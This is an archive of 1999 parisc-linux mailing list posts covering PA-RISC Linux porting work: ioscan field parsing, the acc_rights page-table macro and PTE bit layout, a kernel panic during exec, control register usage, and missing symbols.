X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 04 Nov 1999 23:07:28 PST."
             <Pine.LNX.4.10.9911042254060.16932-100000@vodka.thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6305

Alex deVries wrote:
> How do I extract an sversion and hversion out of ioscan -F output?
> 
> For instance:
> 
> pa:wsio:F:F:F:0:0:0:ext_bus:c720:8/12:1 49 0 132 0 0 137 128 7 0 0 0 91 62 0 
>   2 :0:root.ccio.c720:c720:CLAIMED:INTERFACE:GSC add-on Fast/Wide SCSI Interf
>   ace:0

1) Use ":" as a field seperator (that's probably obvious)

2) field 1 indicates the structure/contents of field 12.
   "pa" says field 12 is IODC data (16 bytes).
   "pci" says field 12 is PCI vendor/product (4 bytes).

3) IODC data format should be documented in IOACD or somewhere.
   PCI isn't. It's the PCI vendor/product ID from config space.

Short (but cryptic) answer is first three "nibbles" (4-bit quantities)
are HV model. Next nibble is HV rev.  SV rev is the high order nibble
of the 5th byte (iodc[4]). SV model the following 5 nibbles.

So printing the values in hex should make them easier to eye-ball
and correlate to either hardware.c entries or PCI output.


> There doesn't seem to be a consistant way to parse it.

The "pa" vs. "pci" probably makes it look inconsistent.

cheers,
grant

> 
> - Alex
> -- 
> Alex deVries <adevries@thepuffingroup.com>
> Vice President Engineering
> The Puffin Group
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 

Grant Grundler
Unix Developement Lab
+1.408.447.7253


From - Thu Nov 08 21:11:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pgtable.h:acc_rights()
Date: Sat, 6 Nov 1999 17:20:23 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <19991106172023.L25252@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618600 27445 80.91.229.3 (22 Nov 2014 01:10:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:00 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Matthew.Wilcox@genedata.com  Sat Nov  6 09:18:05 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA31639
	for <parisc-linux@puffin.external.hp.com>; Sat, 6 Nov 1999 09:18:04 -0700
Original-Received: (qmail 32476 invoked by uid 15267); 6 Nov 1999 16:19:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32469 invoked from network); 6 Nov 1999 16:19:24 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 6 Nov 1999 16:19:24 -0000
Original-Received: from relay.core.genedata.com (nila-e0.core.genedata.com [157.161.173.44])
	by mail.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dA6GJM711612
	for <parisc-linux@thepuffingroup.com>; Sat, 6 Nov 1999 17:19:22 +0100
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by relay.core.genedata.com (8.10.0.Beta6/8.10.0.Beta6) with ESMTP id dA6GJMX23464
	for <parisc-linux@thepuffingroup.com>; Sat, 6 Nov 1999 17:19:22 +0100
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id RAA738677
	for <parisc-linux@thepuffingroup.com>; Sat, 6 Nov 1999 17:19:21 +0100 (CET)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11k8Zj-00028LC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for parisc-linux@thepuffingroup.com; Sat, 6 Nov 1999 17:20:23 +0100 (CET) 
X-Mailer: Mutt 0.95.3i
Xref: news.gmane.org gmane.linux.ports.parisc:6306


Why is acc_rights written like this?

#define acc_rights(pte)       \
        (((pte) & _PAGE_EXEC) ? \
                (((pte) & _PAGE_RW) ? \
                        acc_r(3,acc_pl(pte),acc_pl(pte)) : \
                        acc_r(3,acc_pl(pte),acc_pl(pte))) : \
                (((pte) & _PAGE_RW) ? \
                        acc_r(1,acc_pl(pte),acc_pl(pte)) : \
                        acc_r(1,acc_pl(pte),acc_pl(pte))))

According to the PA-1.1 Architecture manual I have here, if the page isn't
writable, the MSB should be clear, like so:

#define acc_rights(pte)       \
        (((pte) & _PAGE_EXEC) ? \
                (((pte) & _PAGE_RW) ? \
                        acc_r(3,acc_pl(pte),acc_pl(pte)) : \
                        acc_r(2,acc_pl(pte),acc_pl(pte))) : \
                (((pte) & _PAGE_RW) ? \
                        acc_r(1,acc_pl(pte),acc_pl(pte)) : \
                        acc_r(0,acc_pl(pte),acc_pl(pte))))

of course, it should be rewritten to look much cleaner.  In fact,
by renumbering the bits, we could get that for free (as long as we put
a big fat warning above the #defines of _PAGE_* to warn that the
constants are in that order for hardware efficiency).
              
Anyway, I'm after a spare bit in the pte for _PAGE_GATEWAY.  As I
understand it (from the mk_pte() macro), there are 12 bits available,
only 8 of which are used, so I can nobble one of them to mark a page
as being a gateway, right?

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:11:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Rowand <frank_rowand@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Okay, I give up.
Date: Sat, 06 Nov 1999 11:04:38 -0800
Lines: 59
Approved: news@gmane.org
Message-ID: <38247BC6.6859F356@hp.com>
References: <199911060727.XAA15167@milano.cup.hp.com>
Reply-To: frowand@cup.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618601 27448 80.91.229.3 (22 Nov 2014 01:10:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:01 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: frank_rowand@hp.com  Sat Nov  6 12:03:20 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA32692
	for <parisc-linux@puffin.external.hp.com>; Sat, 6 Nov 1999 12:03:20 -0700
Original-Received: (qmail 3155 invoked by uid 15267); 6 Nov 1999 19:04:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3148 invoked from network); 6 Nov 1999 19:04:40 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 6 Nov 1999 19:04:40 -0000
Original-Received: from xsvr4.cup.hp.com (xsvr4.cup.hp.com [15.0.68.169])
	by atlrel1.hp.com (Postfix) with ESMTP id BB8029D5
	for <parisc-linux@thepuffingroup.com>; Sat,  6 Nov 1999 14:04:39 -0500 (EST)
Original-Received: from hp.com (localhost [127.0.0.1]) by xsvr4.cup.hp.com with ESMTP (8.7.6/8.7.3) id LAA00498 for <parisc-linux@thepuffingroup.com>; Sat, 6 Nov 1999 11:04:39 -0800 (PST)
Original-Sender: frowand@cup.hp.com
X-Mailer: Mozilla 4.05 [en] (X11; I; HP-UX B.10.20 9000/869)
Xref: news.gmane.org gmane.linux.ports.parisc:6307

Grant Grundler wrote:
> 
> Alex deVries wrote:
> > How do I extract an sversion and hversion out of ioscan -F output?
> >
> > For instance:
> >
> > pa:wsio:F:F:F:0:0:0:ext_bus:c720:8/12:1 49 0 132 0 0 137 128 7 0 0 0 91 62 0
> >   2 :0:root.ccio.c720:c720:CLAIMED:INTERFACE:GSC add-on Fast/Wide SCSI Interf
> >   ace:0
> 
> 1) Use ":" as a field seperator (that's probably obvious)
> 
> 2) field 1 indicates the structure/contents of field 12.
>    "pa" says field 12 is IODC data (16 bytes).
>    "pci" says field 12 is PCI vendor/product (4 bytes).
> 
> 3) IODC data format should be documented in IOACD or somewhere.
>    PCI isn't. It's the PCI vendor/product ID from config space.


See "IODC Data Bytes" in the IODC chapter of the IOACD (it's the first section
after the introduction).


> Short (but cryptic) answer is first three "nibbles" (4-bit quantities)
> are HV model. Next nibble is HV rev.  SV rev is the high order nibble
> of the 5th byte (iodc[4]). SV model the following 5 nibbles.
> 
> So printing the values in hex should make them easier to eye-ball
> and correlate to either hardware.c entries or PCI output.
> 
> > There doesn't seem to be a consistant way to parse it.
> 
> The "pa" vs. "pci" probably makes it look inconsistent.
> 
> cheers,
> grant
> 
> >
> > - Alex
> > --
> > Alex deVries <adevries@thepuffingroup.com>
> > Vice President Engineering
> > The Puffin Group
> >
> > ---------------------------------------------------------------------------
> > To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> > `unsubscribe' as the subject.
> >
> 
> Grant Grundler
> Unix Developement Lab
> +1.408.447.7253
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.


From - Thu Nov 08 21:11:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pgtable.h:acc_rights()
Date: Sat, 6 Nov 1999 20:51:25 +0100
Lines: 60
Approved: news@gmane.org
Message-ID: <19991106205125.L11609@mathe.stud.uni-erlangen.de>
References: <19991106172023.L25252@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618601 27449 80.91.229.3 (22 Nov 2014 01:10:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:01 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: prumpf@localhost.localdomain  Sat Nov  6 12:49:16 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA00727
	for <parisc-linux@puffin.external.hp.com>; Sat, 6 Nov 1999 12:49:15 -0700
Original-Received: (qmail 13363 invoked by uid 15267); 6 Nov 1999 19:50:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13356 invoked from network); 6 Nov 1999 19:50:36 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 6 Nov 1999 19:50:36 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Sat, 6 Nov 1999 20:50:34 +0100
Original-Received: (from prumpf@localhost)
	by localhost.localdomain (8.9.3/8.9.3) id UAA13768;
	Sat, 6 Nov 1999 20:51:25 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <19991106172023.L25252@mencheca.ch.genedata.com>
"From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>"
Xref: news.gmane.org gmane.linux.ports.parisc:6308

> Why is acc_rights written like this?

See my commit message.  Basically that works around the "pages mapped read-only
when they should be read-write" problem Thomas reported.

> of course, it should be rewritten to look much cleaner.  In fact,
> by renumbering the bits, we could get that for free (as long as we put
> a big fat warning above the #defines of _PAGE_* to warn that the
> constants are in that order for hardware efficiency).

We are still looking for the optimal layout of the 12 _PAGE_* bits we have.
The word we need to translate to looks like this:

0  1  2  3  4  5  ... 11 12 13 ... 31
X  X  T  D  B  \__ ____/  U \_______/
             access rights  access id

X - don't care (it looks like)
T - page reference trap
D - dirty
B - break
U - uncacheable

access rights is

 5  6  7  8  9 10 11
\______/ \___/ \___/
type      PL1   PL2

000: read-only
001: read-write
010: read-execute
011: read-write-execute
100: promote to PL 0.
101: promote to PL 1.
110: promote to PL 2.
111: remain at PL 3.

we don't need the B and T bits.  We don't need access types 101, 110, 111.  We only
need one bit for bits 8 .. 11 (they are either all 1 or all 0, so we can do an extrs).

We do need a "referenced" bit (not sure whether the dirty bit can do that for us more
efficiently) and a "valid" bit in addition to what the hardware gets to see.

So, I am just thinking of what the reason was we cannot just store bits 1 .. 12 in the
12 LSBs of the PTE, use bit 1 as a valid bit and be happy.  I am pretty sure there was
one.

> Anyway, I'm after a spare bit in the pte for _PAGE_GATEWAY.  As I
> understand it (from the mk_pte() macro), there are 12 bits available,
> only 8 of which are used, so I can nobble one of them to mark a page
> as being a gateway, right?

I would rather see a completely rewritten TLB insertion handler and either saving a
7-bit access rights field or a "I am special" bit / bit pattern.  The idea behind that
is it is used to re-insert BTLB entries / large mappings so we don't fault for every
single page and gateway pages would fit nicely into that.

	Philipp Rumpf


From - Thu Nov 08 21:11:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] exec() problem
Date: Sat, 6 Nov 1999 20:27:38 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <19991106202738.K11609@mathe.stud.uni-erlangen.de>
References: <199911060255.TAA24869@debian.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618601 27458 80.91.229.3 (22 Nov 2014 01:10:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:01 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Paul Bame <bame@debian.fc.hp.com>
Original-X-From: prumpf@localhost.localdomain  Sat Nov  6 12:49:18 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA00786
	for <parisc-linux@puffin.external.hp.com>; Sat, 6 Nov 1999 12:49:17 -0700
Original-Received: (qmail 13380 invoked by uid 15267); 6 Nov 1999 19:50:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13373 invoked from network); 6 Nov 1999 19:50:37 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 6 Nov 1999 19:50:37 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Sat, 6 Nov 1999 20:50:36 +0100
Original-Received: (from prumpf@localhost)
	by localhost.localdomain (8.9.3/8.9.3) id UAA13757;
	Sat, 6 Nov 1999 20:27:38 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199911060255.TAA24869@debian.fc.hp.com>
"From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>"
Xref: news.gmane.org gmane.linux.ports.parisc:6309

> This is rumored to be a known problem.  Since I've seen it a lot recently

I am not sure it's the one I do know (and which will be fixed as soon as I got
my machines set-up again and got time to do debugging).

> and am going on vacation, here's what I know in case it helps.  The problem
> can manifest on one machine and not another with the same bits.  It can
> come and go as the size of code in arch/parisc/kernel changes.  The
> problem shows in the boot like this:
> 
>     Attempting to execute '/sbin/init'
> 
>     PSW  : 0004000b  GR 1 : c0128800  GR 2 : c0029390  GR 3 : 00000000
>     GR 4 : 00000000  GR 5 : ffffffff  GR 6 : 00000000  GR 7 : c0092708
>     GR 8 : c0fdba20  GR 9 : c00924c8  GR10 : 00000080  GR11 : 0000000a
>     GR12 : 00000000  GR13 : 00000000  GR14 : 00000001  GR15 : c00927c8
>     GR16 : c0100000  GR17 : c00292e0  GR18 : c0092720  GR19 : 00000000
>     GR20 : c0128a00  GR21 : a0000024  GR22 : 00000000  GR23 : c012bc7c
>     GR24 : c00927c8  GR25 : 00000000  GR26 : c0092708  GR27 : c008e000
>     GR28 : 00000000  GR29 : 00000000  GR30 : c0092a00  GR31 : c0039914
>     SR0  : 00000000  SR1  : 00000000  SR2  : 00000000  SR3  : 00000000
>     SR4  : 00000000  SR5  : 00000000  SR6  : 00000000  SR7  : 00000000
>     IAOQ : c0028e5c c0028e60
> 
>     bad address a000002c (code 15)
>     Kernel panic: bad address
> 
> adb on the IAOQ address says:
> 
>     do_generic_file_read+16C:       LDW             8(r21),r19
> 
> which is consistent with the value in r21 (a0000024).  This is
> inside a call which I believe is called eventually from do_execve()
> called within init/main.c:init().  I didn't track down do_execve().

This looks a lot like a completely bogus pointer which might be both memory
corruption and the schedule() returns early bug I know of.

	Philipp Rumpf


From - Thu Nov 08 21:11:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xchg implementation
Date: Sat, 6 Nov 1999 20:22:13 +0100
Lines: 50
Approved: news@gmane.org
Message-ID: <19991106202213.J11609@mathe.stud.uni-erlangen.de>
References: <19991031193739.V516@mencheca.ch.genedata.com> <19991101210305.75FA118708@security.hp.com> <19991102095340.D516@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618602 27491 80.91.229.3 (22 Nov 2014 01:10:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:02 +0000 (UTC)
Cc: LaMont Jones <lamont@security.hp.com>, parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: prumpf@localhost.localdomain  Sat Nov  6 12:49:20 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA00850
	for <parisc-linux@puffin.external.hp.com>; Sat, 6 Nov 1999 12:49:20 -0700
Original-Received: (qmail 13393 invoked by uid 15267); 6 Nov 1999 19:50:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13386 invoked from network); 6 Nov 1999 19:50:40 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 6 Nov 1999 19:50:40 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Sat, 6 Nov 1999 20:50:38 +0100
Original-Received: (from prumpf@localhost)
	by localhost.localdomain (8.9.3/8.9.3) id UAA13754;
	Sat, 6 Nov 1999 20:22:14 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <19991102095340.D516@mencheca.ch.genedata.com>
"From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>"
Xref: news.gmane.org gmane.linux.ports.parisc:6310

> You're thinking of CR26 and 27 (ref: Kane's PA-RISC 2.0 Architecture,
> page 2-17).  CR31 _is_ used, I didn't read carefully enough:

Summary of current temporary register usage:


register	today		soon
CR24		unused		what CR26 is today (I thought CR2[45] were readable
CR25		unused		what CR25 is today  from userspace. stupid prumpf)
CR26		used in head.S	unused
CR27		used in head.S	unused
CR28		temporary usage in interruption handlers [GR1  saved here]
CR29		temporary usage in interruption handlers [arg0 (for the interruption
			handler, NOT GR26) saved here]
CR30	 	current, 0 if in kernel mode (this might not work for syscalls yet)
CR31		temporary usage in interruption handlers [GR29 saved here]

I think using three temporary registers for interruption handlers is okay.

The current/0 register is quite helpful and I'd like to keep it the way it is.

One register to add is a pointer to our PGD so our TLB insertion handler can be

mtctl		 1, TR_INTR_GR1
mtctl		29, TR_INTR_GR29
mtctl		 2, TR_INTR_ARG0	/* we don't have an argument */
mfctl		TR_PGD,  1
mfctl		IOR, 29
extru		29,  9, 10, 2		/* PGD offset */
ldwx,s		 2( 1),  1 		/* load word scaled(?) (so at address GR1 + 4*GR2) */
bb,<,n		 1, PG_PRESENT_BIT, major_page_fault	/* major page fault if pte invalid */
extru		29, 19, 10, 2		/* PTE offset */
ldwx,s		 2( 1),  1		/* load PTE */
/* do the PTE translation here */
/* do idtlba, idtlbp, iitlba, iitlbp, idtlbt, iitlbt, idtlbaf, idtlbpf, iitlbaf, or iitlbpf
 * depending on CPU / fault type. */

I still haven't found any magic tricks to speed up xchg (the way I understand it
hashing the address and indexing an array of spinlocks for the atomic operations
probably is the best thing to do for SMP, for UP I think we have to do an irqsave/
irqrestore).  Should there be any I am too stupid to see I think it's no problem
using a temporary register for it.

That leaves one or two registers for future use (our FP emulator for some of the
CPUs with half an FPU (PA7100LC) might need one to point to the FP registers or
something, don't know whether syscalls could use one too), and the two we can read
out of userspace.  What does HP/UX use them for ?

	Philipp Rumpf


From - Thu Nov 08 21:11:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] _end symbol in parisc linux?
Date: Sat, 6 Nov 1999 19:26:14 +0100
Lines: 9
Approved: news@gmane.org
Message-ID: <19991106192614.H11609@mathe.stud.uni-erlangen.de>
References: <199911020039.RAA11767@debian.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618602 27494 80.91.229.3 (22 Nov 2014 01:10:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:02 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Paul Bame <bame@debian.fc.hp.com>
Original-X-From: prumpf@localhost.localdomain  Sat Nov  6 12:49:21 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA00926
	for <parisc-linux@puffin.external.hp.com>; Sat, 6 Nov 1999 12:49:21 -0700
Original-Received: (qmail 13415 invoked by uid 15267); 6 Nov 1999 19:50:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13397 invoked from network); 6 Nov 1999 19:50:40 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 6 Nov 1999 19:50:40 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Sat, 6 Nov 1999 20:50:40 +0100
Original-Received: (from prumpf@localhost)
	by localhost.localdomain (8.9.3/8.9.3) id TAA13671;
	Sat, 6 Nov 1999 19:26:14 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199911020039.RAA11767@debian.fc.hp.com>
"From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>"
Xref: news.gmane.org gmane.linux.ports.parisc:6311

> Anybody know how to get PA-Linux to have an _end symbol like
> most other programs, including Intel Linux?

AFAIK we would need to have linker scripts to do so, which seems to be impossible
with the HP/UX ld.  So this is on the "things that will get nicer when we have
GNU binutils again" list.

	Philipp Rumpf


From - Thu Nov 08 21:11:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Recent changes
Date: Sat, 6 Nov 1999 19:20:23 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <19991106192023.F11609@mathe.stud.uni-erlangen.de>
References: <199911030250.TAA16563@puffin.external.hp.com> <Pine.LNX.4.10.9911022309430.5997-100000@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618603 27503 80.91.229.3 (22 Nov 2014 01:10:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:03 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: prumpf@localhost.localdomain  Sat Nov  6 12:49:24 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA01007
	for <parisc-linux@puffin.external.hp.com>; Sat, 6 Nov 1999 12:49:23 -0700
Original-Received: (qmail 13437 invoked by uid 15267); 6 Nov 1999 19:50:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13426 invoked from network); 6 Nov 1999 19:50:42 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 6 Nov 1999 19:50:42 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Sat, 6 Nov 1999 20:50:41 +0100
Original-Received: (from prumpf@localhost)
	by localhost.localdomain (8.9.3/8.9.3) id TAA13657;
	Sat, 6 Nov 1999 19:20:23 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <Pine.LNX.4.10.9911022309430.5997-100000@vodka.thepuffingroup.com>
"From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>"
Xref: news.gmane.org gmane.linux.ports.parisc:6312

On Tue, Nov 02, 1999 at 11:14:33PM -0500, Alex deVries wrote:
> ld: Unsatisfied symbols:
>    hpux_brk (code)

Why did the definition of hpux_brk (in kernel/sys_hpux.c) ever vanish ?  Some
time ago, it looked like this:

unsigned long sys_brk(unsigned long addr);

unsigned long hpux_brk(unsigned long addr)
{
        /* Sigh.  Looks like HP/UX libc relies on kernel bugs. */
        return sys_brk(addr + PAGE_SIZE);
}

	Philipp Rumpf


From - Thu Nov 08 21:11:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sash commands
Date: Sat, 6 Nov 1999 19:33:30 +0100
Lines: 91
Approved: news@gmane.org
Message-ID: <19991106193330.I11609@mathe.stud.uni-erlangen.de>
References: <19991105021334.J25252@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618603 27511 80.91.229.3 (22 Nov 2014 01:10:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:10:03 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Original-X-From: prumpf@localhost.localdomain  Sat Nov  6 12:49:25 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA01082
	for <parisc-linux@puffin.external.hp.com>; Sat, 6 Nov 1999 12:49:25 -0700
Original-Received: (qmail 13451 invoked by uid 15267); 6 Nov 1999 19:50:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13444 invoked from network); 6 Nov 1999 19:50:45 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 6 Nov 1999 19:50:45 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Sat, 6 Nov 1999 20:50:42 +0100
Original-Received: (from prumpf@localhost)
	by localhost.localdomain (8.9.3/8.9.3) id TAA13708;
	Sat, 6 Nov 1999 19:33:30 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <19991105021334.J25252@mencheca.ch.genedata.com>
"From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>"
Xref: news.gmane.org gmane.linux.ports.parisc:6313

> cd
> -chgrp
> -chmod
> -chown
> help
> -ls
> -mkdir
> -pwd
> -touch
> -where

whee.

> -mount is known to not work.  I need to speak to prumpf about why this is.

If I see this correctly this is the 4-argument problem.  Our current (hacked)
syscall support only supports the register arguments because supporting the
other ones too just would mean nobody ever got around to fix syscall support :)

If anyone else needs to send me email (or needed in the last two weeks or so),
please use the new ugly address Philipp.H.Rumpf@mathe.stud.uni-erlangen.de. As
I don't work for SuSE any more, prumpf@suse.de is very likely to be invalid
shortly and I am not sure how often I'll be able to check it before.

> Ditto -sync.

what's the problem with sync ?

	Philipp Rumpf

